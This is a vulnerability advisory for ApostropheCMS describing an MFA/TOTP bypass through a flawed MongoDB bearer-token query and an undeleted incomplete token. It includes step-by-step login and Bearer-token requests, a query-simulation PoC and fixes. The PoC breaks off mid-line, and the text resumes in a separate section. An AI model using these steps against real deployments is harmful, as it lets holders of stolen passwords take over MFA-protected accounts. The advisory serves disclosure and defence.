  "details": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens \u2014 where the password was verified but TOTP/MFA requirements were NOT \u2014 to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim\u0027s password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer \u0026\u0026 bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array \u2014 meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim\u0027s username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim\u0027s TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` \u2014 demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS\u0027s bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements \u2014 the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user\u0027s password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = \u0027\\x1b[91m\u0027;\nconst GREEN = \u0027\\x1b[92m\u0027;\nconst YELLOW = \u0027\\x1b[93m\u0027;\nconst CYAN = \u0027\\x1b[96m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\nconst BOLD = \u0027\\x1b[1m\u0027;\n\n// Simulate MongoDB\u0027s $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) \u0026\u0026 Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) =\u003e v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB\u0027s $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB\u0027s $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     \u003c-- BUG\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    \u003c-- FIX\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  ApostropheCMS MFA/TOTP Bypass PoC                              \u2551\n\u2551  Bearer Token Middleware \u2014 Incorrect MongoDB Query ($ne vs $eq)  \u2551\n\u2551  @apostrophecms/express/index.js:386-389                         \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ?

When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token\u0027s `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user\u0027s document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token\u0027s actual ID\n});\n```",
